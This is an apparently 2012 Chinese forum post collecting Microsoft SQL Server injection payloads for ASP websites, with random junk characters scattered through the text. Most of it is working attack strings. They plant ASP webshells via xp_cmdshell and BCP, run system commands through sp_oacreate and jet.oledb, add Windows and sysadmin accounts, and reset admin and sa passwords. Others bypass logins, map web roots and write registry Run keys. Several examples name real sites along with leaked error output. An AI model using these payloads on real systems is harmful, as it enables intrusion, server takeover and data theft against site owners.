标题: Mssql injection code [打印本页] 作者: admin 时间: 2012-9-15 14:00 标题: Mssql injection code (1) 8 U9 c% w# O \: c
判断数据库类型: , E0 L0 o4 V+ K2 `
: i1 T/ g1 X/ z( @4 ^
Access: / _ N( I2 \& ^7 h2 P' T1 r 9 Q6 S/ |' v+ \. v: l aNd aSc(cHr(97))=97# h3 n( `9 F% t" `+ O6 \
and exists(select id from MSysAccessObjects)$ J8 X( }6 v1 J
4 b4 k' |. _/ Y" n0 u6 ]. F) W/ Z; W8 ]' V: \
SQL Server: # p9 U: Q* F. \ z8 }+ W and exists(select id from sysobjects)( S. J. _" k' i' @, Z- p9 w
& k, J8 w/ f O5 l, _) e P, k- c
MySQL: p. S8 p) n% s$ t0 J3 b3 x; k and length(user())>0 9 p, X( k* L$ S) V& {+ z5 N* Y & o1 r6 H' A. C+ n, B
: G4 B) i4 O) ?5 I& h5 }2 X, t搜索栏里输入 0 C' g. L* v5 i5 r关键字%'and 1=1 and '%'=', V& P) C! j: Q: W( s" Y$ R' g
关键字%'and 1=2 and '%'='1 j- z$ t+ R3 n
比较不同处 可以作为注入的特征字符 0 I4 p1 t% R" z; } ! y. j1 x) t* Z: W) n9 }1、 用^转义字符来写ASP(一句话木马)文件的方法: $ Q( k1 ]0 Q) q6 C, L/ A1 d2 | 8 H1 m; O& E+ h9 w7 a$ |1 N% Z) rhttp://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--! A& V1 O3 Y$ A8 i( q
9 O+ f4 B6 }5 `
echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp7 m, O+ v. i. q1 ~
% D( Y) a8 Z) u. P& `3 R
显示SQL系统版本: $ `; D6 R- p! N3 ~http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)) P3 y' M4 y, e' r% n1 y# V
4 a, B+ C: N! F3 F+ C: p6 m8 Bhttp://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)-- 3 e* e+ J1 u3 Z/ J P4 E) u) _ p9 E
Microsoft VBScript 编译器错误 错误 '800a03f6' % l: x" s9 }" \; ^$ v, k/ Y2 c缺少 'End'& D& J$ H2 c% [9 J# B3 x+ V) _
/iisHelp/common/500-100.asp,行242 ' E5 v- x5 n6 t$ a$ {Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'! b+ {" c( A6 J% E2 P$ d; r x: O
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int., A: l9 w& U u' A7 c
/display.asp,行17/ A* S/ g3 I U: C
3、 在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查询,例如“select * from mytable where id in(1)”,括号中的值就是我们提交的数据,它的结果与使用“select * from mytable where id=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“) and 1=1 and 1 in(1”后原来的SQL语句就变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一定想到了还有“包含字符型”呢。对了,它就是由于类似“select * from mytable where name in('firstsee')”的查询语句造成的。$ K: W" W% r: R9 {$ {
7 x1 c$ j$ o! E; ^8 N4、 判断xp_cmdshell扩展存储过程是否存在:' M( L/ b' K9 d5 y1 N: w0 P1 Q+ { http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell') - g% y* K* v! w' e9 y( q9 y恢复xp_cmdshell扩展存储的命令:1 {& p6 a _2 u http://www.test.com/news/show1.asp?NewsId=125272 : p2 U/ t4 H, Y' i# e) u1 H;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';-- + y* k$ o H- g9 D9 ]! K! o" ], @3 Z$ I
5、 向启动组中写入命令行和执行程序: ; v3 j2 m" p9 c% g0 p+ i! S% Rhttp://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add' + ^# |: q- H5 ^4 ]% ~9 D: @8 r) X7 L* ~! }/ o
9 n! O2 A/ G. P! U; b* h6、 查看当前的数据库名称:. K( k/ U# i. ?7 q9 A
? http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨库了2 \( x2 a6 r' x4 K6 d
? http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())-- , _+ R# _( U: rMicrosoft VBScript 编译器错误 错误 '800a03f6' . n0 e- S$ H0 E) V( Q* l缺少 'End'/ t3 @3 d6 h8 f4 I
/iisHelp/common/500-100.asp,行242 7 E. L: v! H9 X3 f$ c u7 c8 BMicrosoft OLE DB Provider for ODBC Drivers 错误 '80040e07' ( t. x3 u$ ~8 E( P- |; y# i1 H[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int., T" x$ [) x- x* u* _3 `1 k4 Y& T
/display.asp,行17$ U3 X1 F% A1 a- h: [$ q
7、 列出当前所有的数据库名称:% i0 u' x0 L' T1 T
select * from master.dbo.sysdatabases 列出所有列的记录 3 x' B1 u5 h# Q( O5 O7 Q8 zselect name from master.dbo.sysdatabases 仅列出name列的记录 3 g. \5 e, Y/ Y6 w, y+ c8 }4 ^& q& Q+ h& W4 m5 x
8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令: 0 |! K( y# T# C8 J! j' }9 }. Jcreate TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL) 9 i" o9 U, N0 K1 W$ VDECLARE @shell INT 1 {( U2 u& ]- ~/ O$ MDECLARE @fso INT - n- c5 F& o: w8 IDECLARE @file INT 5 t5 u) B" y0 S9 S: KDECLARE @isEnd BIT 4 ^) j4 i' b, H/ _% I% O" t, {) u* _DECLARE @out VARCHAR(400)! ?: u6 Q5 H; W& U# f5 }7 q
EXEC sp_oacreate 'wscript.shell',@shell output 7 n6 I( V. ^2 \EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true': ~" X. {9 R* R
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。6 z7 C/ \0 X7 ^8 h0 {0 F3 Y; U5 a
- F, u/ P; H% k: q: \( H7 K& x3 ?(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END2 r; w( C% H% P8 y
7 X. V8 k# N0 Y) I. L(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END, h; l' U; u$ O T* L
6 d5 H1 K" G1 ^" b7 }1 r9、 用update来更新表中的数据:3 E5 \, h, J# U7 D9 t7 C HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--" e: `( I! i( W P' @
www用户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1; \( a5 J, O0 ^! W( o6 H4 t0 x
32位MD5值为: ,密码为 4 Y1 d- A' ]4 F& P9 R, T2 K6 f" i3 K 5 @3 ~2 R# z; @# Q) S2 p9 ?10、 利用表内容导成文件功能) W* z. G [# }& D' N% D
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。 * `1 Y4 p- r0 p I( l* ~命令行格式如下: 6 Q% x& a& D7 {( N8 kbcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)。 4 _0 A/ K# T5 i4 s2 ^% O6 ^- S, a7 f. `/ [
11、创建表、播入数据和读取数据的方法 " o) _& f' h) B9 e6 a? 创建表:4 E/ _9 E# S7 Q! Y
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--3 l M+ z7 S1 Q5 e1 L
? 往表里播入数据:7 D% c* R. X0 q6 M
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--7 _3 a5 x9 r3 v A
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--( V' M8 r" i8 b- m/ [7 K
? 从表里读取数据: $ M7 M2 [% Y. @2 y- O, T; e. u' and 1=(select count(*) from cyfd where gyfd >1)-- - ?4 F. i1 ?: ]& l8 b % u2 q$ ?& f8 k8 ?# ~/ t+ J? 删除临时表: . m0 S0 O" A. |+ m( K( g';drop table cyfd;-- / Y6 [- W- e8 _) _/ O1 s+ B; x! Q
12、通过SQL语句直接更改sa的密码: & O& g' @. G1 }/ t1 B? update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。. U3 u# C2 |: _+ `, B/ F- E" q
& E1 _/ U( J. Y: n. {3 p& s? 查看本机所有的数据库用户名: - s3 b" H' A, w7 D9 Q* F/ L. S1 }select * from master.dbo.sysxlogins 0 r4 f8 H8 o3 E8 vselect name,sid,password ,dbid from master.dbo.sysxlogins 5 y6 b: Q! s" \4 W/ B, G5 E+ j6 s$ N! Q
? 更改sa口令方法:用sql综合利用工具连接后,执行命令:: l, [5 f* C8 {- ?
exec sp_password NULL,'新密码','sa'& ], X* e- B( K9 a/ P
0 v2 w1 t! u6 y+ q8 F, B" O0 @13、查询dvbbs库中所有的表名和表结构: 8 J o4 ]' l3 { S8 ]: J. o? select * from dvbbs.dbo.sysobjects where xtype='U' and status>0! }. p6 {$ s1 U
? select * from dvbbs.dbo.syscolumns where id=1426104121 : v2 ~3 W: K2 p7 j0 W . J4 E6 h$ [$ C# G7 H+ s0 D14、手工备份当前数据库:# R S& e# Z7 p; r% w* }8 _
完全备份: * ~. T3 z: [6 v& S- r;declare @a sysname,@s nvarchar(4000) 3 I0 y6 Y6 n$ i; [! P+ ?( Kselect @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--5 s( y W2 p: M: C0 m
差异备份: & e3 R5 e! x7 z% B t+ L+ O;declare @a sysname,@s nvarchar(4000)$ Q. _$ |: ?( t7 M! l" ?8 ]/ @- a
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT— & E/ r- ]+ Q. l1 M& ~- u* B' V9 d" z* s- A( {9 [4 P
15、添加和删除一个SA权限的用户test:% U# h) ]# W! l0 c' v9 Y: A
exec master.dbo.sp_addlogin test,ptlove$ n! C5 D9 A+ V7 j, V+ z2 R
exec master.dbo.sp_addsrvrolemember test,sysadmin6 u; ~8 p$ D! c) b
6 r. P% c3 Q' U. M+ Z% ?6 m
cmd.exe /c isql -E /U alma /P /i K:\test.qry 1 f$ g: P! F/ ^" z% ` V+ C' P( P/ |( u 9 u9 x, l. G6 a# d16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0 : T2 u: ^( `' r' h* e就可以列出库ChouYFD中所有的用户建立的表名。6 m9 i6 ?& R" |5 t
select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>04 x7 d' H, X- j9 p- o! i( H/ I
; u, t' C8 k" g3 F
17、 6 Q$ q5 ]! z6 j& Q# y3 P? http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns (where id=1234)! N, j5 t) ` M$ y4 o
列出rdweb库中所有表中的字段名称 & ~- e& o3 z% n2 @# N? select * from dvbbs.dbo.syscolumns where id=5575058$ i1 x- z1 q7 Q* ~) z, R
列出库dvbbs中表id=5575058的所有字段名 * k, a, g8 i, Z6 p) q! x$ C# b: `3 c0 ^3 [
18、删除记录命令:delete from Dv_topic where boardid=5 and topicid=7978+ }8 [. H' \* W4 ~. p9 C, X
( h1 Z$ P' O6 K0 M" |! `
19、绕过登录验证进入后台的方法整理:4 s0 M; `2 a4 v1 X
1) ' or''=' r4 d7 [& z9 S6 V2) ' or 1=1-- - |9 \1 z9 u8 ]8 s- C$ |3) ' or 'a'='a--% a6 m0 G ^. A, S
4) 'or'='or' 2 Z8 q& W+ z6 l0 w5) " or 1=1-- ' O& j- |: ?- V6)or 1=1--2 P0 E7 q/ ?) e/ ?
7) or 'a='a G& E( L# ~- K* ^$ P9 E* c# \$ L8)" or "a"="a 0 ]' I& ^, {! g" }9) ') or ('a'='a' u2 P$ A8 G* ^2 b% v* n8 _" o
10) ") or ("a"="a % A. |$ @1 f" B& q/ {! o. v11) ) or (1=1 4 R' P0 b: ~1 |: W12) 'or''=' $ I: d* n9 }7 Q# e& Z |13) 人气%' and 1=1 and '%'=' ' R0 ^! L* V8 P9 \/ A# D$ S# d0 S9 [: r e7 w1 s
20、寻找网站路径的方法汇总:- K: }9 {& `' Y' j0 r, j
1)查看WEB网站安装目录命令: $ g* z, |7 u1 P$ T; l+ R2 w; y? cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt (将2换成1、3、4、5试试), r9 w ~( I0 |. \4 l3 k
type c:\test1.txt$ u0 L3 q( K2 Q# Y7 J. Y$ J- F( i
del c:\test1.txt ; m9 t) S1 [; A, O; a0 I在NBSI下可以直接显示运行结果,所以不用导出到文件 . [# m h. P% ^+ o& O# D5 j' b; h3 F3 n; D! H
2)在网站上随便找到一个图片的名字 123.jpg# Q& b. l* [4 P4 J9 @( S* z4 T) k* M- `
然后写进批处理程序123.bat:( e% |$ V9 M* y, M, y/ _
d: * y1 G8 z4 O- kdir 123.jpg /s >c:\123.txt: B9 ?- R2 E, `8 x/ i. t
e:; \3 o, b2 Z4 \
dir 123.jpg /s >>c:\123.txt ?" G* ]% u' T" E: [) F
f: $ W" X1 P5 v4 |% Y! Jdir 123.jpg /s >>c:\123.txt ) t2 t' P- \* u' h* G: n 9 U+ w5 U- L, Q" p执行后 type c:\123.txt , v( @0 ?. N) M: n1 _& ?! I. U这样来分析网站的路径 5 J0 d- W5 ]. ]( M* `$ |1 L- E. `& K( u( S7 y9 i
3)SQL服务器和网站服务器在同一个服务器上,好了是可以执行命令是吧?* G) {- ?9 N7 g8 [- a. G( h
将执行命令输出结果到 " y. Z7 g& N$ O0 ~' F% P%windir%\help\iishelp\common\404b.htm或者500.asp6 k+ X5 ?7 e. ]; Y1 e* J
注意输出前Backup这两个文件 " ~; `. m9 Y. l如:. J( N4 i+ r# q& a9 P3 x
dir c:\ >%windir%\help\iishelp\common\404b.htm. c; e$ v3 s9 N& H C g& j8 ^
然后随便输入一个文件来访问:http://目标ip/2.asp' {/ @" @& A4 T: ~$ w5 S- |: k
1 f3 t6 l. _% r* K+ _4 M4)针对win2000系统:xp_regread读取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 获取WEB路径 $ Z1 t# C6 T$ @/ V# a9 ?2003系统:xp_regread读取,未找到方法1 Z( i! j) ]" I& `, W
如:9 e2 n+ y' R1 ]$ q' Y
(1) 新建一个表cyfd(字段为gyfd):http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))-- 5 X4 Y% `. |: I(2) 把web路径写进去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--0 V; J R: e1 q, \
(3) 还是让他不匹配,显示错误:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)! l) D% ^# s& W9 |4 y: x
Source: .Net SqlClient Data Provider/ x, o" [% D1 ~' E& L
Description: 将 varchar 值 'Y:\Web\烟台人才热线后台管理系统,,201 ' 转换为数据类型为 int 的列时发生语法错误。 8 B7 U u8 F* M& s6 GTargeSite: Boolean Read() 哈哈哈。。路径暴露了。。 7 T( m. B' \8 E(4)接下来删除表:http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;-- 0 d5 |. K( y4 v- v; @ % Z3 p2 { I; c6 s$ i! W* X5)用regedit命令导出注册表,将导出的结果保存的路径到%windir%\help\iishelp\common\404b.htm或者500.asp页面& ~1 e# k9 G8 g
regedit命令说明:$ u$ ^4 s5 O7 y2 n8 L* _; [0 A- O6 H
Regedit /L:system /R:user /E filename.reg Regpath2 J' Q, o6 t5 o" L& K
参数含义:9 j" _) ?2 V5 [+ }
/L:system指定System.dat文件所在的路径。: K* q* g5 _- ~, H
/R:user指定User.dat文件所在的路径。 # v, l$ V k+ k+ D$ i- i/E:此参数指定注册表编辑器要进行导出注册表操作,在此参数后面空一格,输入导出注册表的文件名。 8 F9 p2 E+ k$ ^# {) U0 `1 hRegpath:用来指定要导出哪个注册表的分支,如果不指定,则将导出全部注册表分支。在这些参数中,"/L:system"和"/R:user"参数是可选项,如果不使用这两个参数,注册表编辑器则认为是对WINDOWS目录下的"system.dat"和"user.dat"文件进行操作。如果是通过从软盘启动并进入DOS,那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径,否则注册表编辑器将无法找到它们。比如说,如果通过启动盘进入DOS,则备份注册表的命令是"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",该命令的意思是把整个注册表备份到WINDOWS目录下,其文件名为"regedit.reg"。而如果输入的是"regedit /E D:\regedit.reg"这条命令,则是说把整个注册表备份到D盘的根目录下(省略了"/L"和"/R"参数),其文件名为"Regedit.reg"。 : D8 U, n2 K. \3 J3 ]; A3 [3 y. H4 ~( I/ k6 {
regedit /s c:\adam.reg (导入c:\adam.reg文件至注册表)2 K; L& E6 l. J s
regedit /e c:\web.reg (备份全部注册内容到c:\web.reg中); A% A2 y& E; d" r7 @, P2 I
针对win2000系统:C:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"+ J) g2 X# V1 q' e1 I0 B7 l: e/ H
然后http://目标IP/2.asp 3 l3 ]. I. F8 x0 X Q( J针对win2003系统:没有找到,希望找到的朋友公布出来一起讨论。/ _, S" r$ D% c6 H7 o' Q% o8 z: ~/ E
8 n" R4 z% q2 C
6)虚拟主机下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的备份文件,是允许web用户访问的,如果你的iis备份到这里,用webshell下载下来后用记事本打开,可以获取对应的域名和web绝对路径。 $ i% }. m+ p/ x: W. ?9 y+ V+ v" o$ S0 _) ?4 f
7)SQL注入建立虚拟目录,有dbo权限下找不到web绝对路径的一种解决办法: . Z+ E# {; h4 v. k( z$ A: l/ b我们很多情况下都遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错: . T, N* ~' H$ z) _( U; l? 建立虚拟目录win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"' 0 z D7 A* f+ G- y. E& Z G5 R? 让win目录具有解析asp脚本权限:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:' ! Y. i9 k$ S" g? 删除虚拟目录win:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/' % ^: [- p7 G1 _" @. u3 m7 P+ w? 测试:http://127.0.0.1/win/test.asp$ X1 `. p8 J- i8 J: H
8)利用SQL语句来查找WEB目录:根据经验,猜疑WEB根目录的顺序是:d盘、e盘、c盘,首先我们建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句:/ ~; r% K3 o0 D# e
;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段表示目录的名称,depth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树,语句如下: . [; L& c5 c4 S& b1 W( _: ?;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';-- 1 t% u* J% i) a w J9 y, O* A# D" ~( x* |. V, b
在进行下面的操作前,先查看D盘有几个文件夹,这样对D盘有个大致的了解,语句如下:( L" d" i9 `; z1 u1 T$ U
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=数字(数字=0、1、2、3...)! ]' Y8 _/ `# N( _6 ] {
1 M- D' R4 Q8 v8 T: I
接着,我们在对方的网站上找几个一级子目录,如user、photo,然后,用筛选的方法来判断WEB根目录上是否存在此盘上,语句如下: ) u5 h( _: i( V% d; ^and (select count(*) from temp where dir<>'user')<(select count(*) from temp) / K$ C3 Y& B" e, d1 X" _1 N0 m% B" _& }# [
看语句的返回结果,如果为真,表示WEB根目录有可能在此盘上,为了进一步确认,多测试几个子目录: 4 E# J4 y6 B% Y. Z/ R8 @ l4 {/ Wand (select count(*) from temp where dir<>'photo')<(select count(*) from temp)' i& }0 F6 s: `6 p- m( Y% v1 N
6 p4 W! s# D) A( J3 V3 O E3 {5 }) |... , Y( ?3 k2 \ G$ ^6 e6 y# K 3 I$ @4 n4 s: O9 t- r如果所有的测试结果都为真,表示WEB根目录很有可能在此盘上。; c" t* ]9 N. ]' c8 v
: \7 G5 L3 W( J
下面假设找到的WEB根目录在此盘上,用以下的语句来获得一级子目录的深度: # S( ~/ n8 C" M% S7 |and (select depth from temp where dir='user')>=数字(数字=1、2、3...)7 ^4 T; m6 |+ S3 e5 C
4 d' e$ j6 {) S, ?% g
假设得到的depth是3,说明user目录是D盘的3级目录,则WEB根目录是D盘的二级目录。* U. L: T4 H$ x+ U8 j P* j O& c$ a
$ W# K6 A- W( p2 Z, D# d- W( c
目前我们已经知道了根目录所在的盘符和深度,要找到根目录的具体位置,我们来从D盘根目录开始逐一搜寻,当然,没有必要知道每个目录的名称,否则太耗费时间了。 1 n' T; {. C' E0 B! E |9 T$ | J. S/ @3 v; u
接下来,另外建立一个临时表,用来存放D盘的1级子目录下的所有目录,语句如下: : [! r5 ?; C5 p1 {, {$ {2 d$ v1 v8 Q) _9 `6 X% O4 }& F1 J/ B
;create table temp1(dir nvarchar(255),depth varchar(255));-- k \& [/ b7 {" W G4 q1 z1 K+ k
( r- F; W/ v) e9 N然后把从D盘的第一个子目录下的所有目录存到temp1中,语句如下:# I+ q* ~" u6 v% g" {$ b1 z3 L0 [9 V
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname8 [- e3 G n/ e' d6 R
当然也可以把D盘的第二个子目录下的所有目录存到temp1中,只需把第二个top 1改为top 2就行了。7 l b6 _4 e& A& n+ F
3 f2 L1 ~( L1 r0 p6 c
现在,temp1中已经保存了所有D盘第一级子目录下的所有目录,然后,我们用同样的方法来判断根目录是否在此一级子目录下:" |' d7 L H4 g2 e
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)8 v1 S! U) H6 T
如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下,然后我们在用同样的方法来获得D盘第2、3...个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除。3 `3 ?% m1 c) u, @, `( N, N
4 E4 R {( d) P8 T5 b d8 S; u j+ l现在假设,WEB根目录在D盘的第一级子目录下,该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2,我们需要知道website下到底哪个才是真正的WEB根目录。$ Z/ E; W2 m @) S& {3 j
& T# V2 T9 c1 |( c( ]' U1 p
现在,我们用同样的方法,再建立第3个临时表: . Z3 k; |7 [! i, h! ~7 Y4 };create table temp2(dir nvarchar(255),depth varchar(255));-- 9 ^( J" F' r1 g4 j8 j 9 Y0 u1 y6 C. N8 [然后把从D盘的website下的所有目录存到temp2中,语句如下: ) x7 h7 d9 s- H# W* e- gdeclare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname 5 [8 {3 ?7 N$ M/ k0 r" y$ L4 o当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中,只需把第二个top 1改为top 2就行了。 9 r* \3 C# U; C, T% F . r8 W) Q# \( g& J- D. v现在,我们用同样的方法判断该目录是否为根目录: ; Y9 K* }" G& w" ~and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2) ; A* [4 W; ?6 S3 y如果返回为真,为了确定我们的判断,多测试几个例子,方法上面都讲到了,如果多个例子都返回为真,那么就确定了该目录为WEB根目录。 w+ s" L% m1 z# I V
9 O$ ~# l/ ^/ e7 O! B0 d# a+ @+ @' b5 P! ]: Q- T& J: Q
用以上的方法基本上可以获得WEB根目录,现在我们假设WEB根目录是:D:\website\www; f U9 r# _) n+ E
然后,我们就可以备份当前数据库到这个目录下用来下载。备份前我们把temp、temp1、temp2的内容清空,然后C、D、E盘的目录树分别存到temp、temp1、temp2中。! E T/ a4 Z6 C9 ^( N
% g, z6 v, R! |0 Y% ~
下载完数据库后要记得把三个临时表drop掉,现在我们在下载的数据库中可以找到所有的目录列表,包括后台管理的目录以及更多信息。 ( x. a* a d+ W, S$ N+ y! s3 i) p" a2 z: G% x& N7 R
21、win2000下将WEB用户提升为系统用户权限,需要有管理员的权限才能执行: % r+ t( G: `( e" I, K% s$ oc:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"# m8 U0 F/ j- |7 g$ s. w
% D# t i l7 Q7 P o然后利用jet.oledb执行系统命令! S; s R g* G9 y& R$ N8 D" K( H0 V
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'); D' [3 ?1 X! s' ?6 {# X
& b/ c0 S7 H( r执行命令+ [# v3 I* d) z/ _2 @9 L. j
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';-- 6 \% W9 d( J) g8 Y @( H" A 8 T) n2 m- `" x) F9 xEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111' * K; ]% { C" z' Z- Y) S4 K , p$ \4 a, G% ]& S判断xp_cmdshell扩展存储过程是否存在:7 \# H" O: r+ O' b- t7 ` http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')0 X* V" v+ ^: V& v# r) F4 r
8 v8 N3 [& N( ~+ k
写注册表 : g! ~7 ~ P6 g6 t4 o' M2 ^exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',18 C- h" H _7 O1 _
% v" m# Y; T# C! h' p7 v. bREG_SZ6 a' A/ W, v: C
' H7 d5 T, n- J( B* {8 _7 ?4 a
读注册表4 W% Z+ V( q! U( m+ c* C
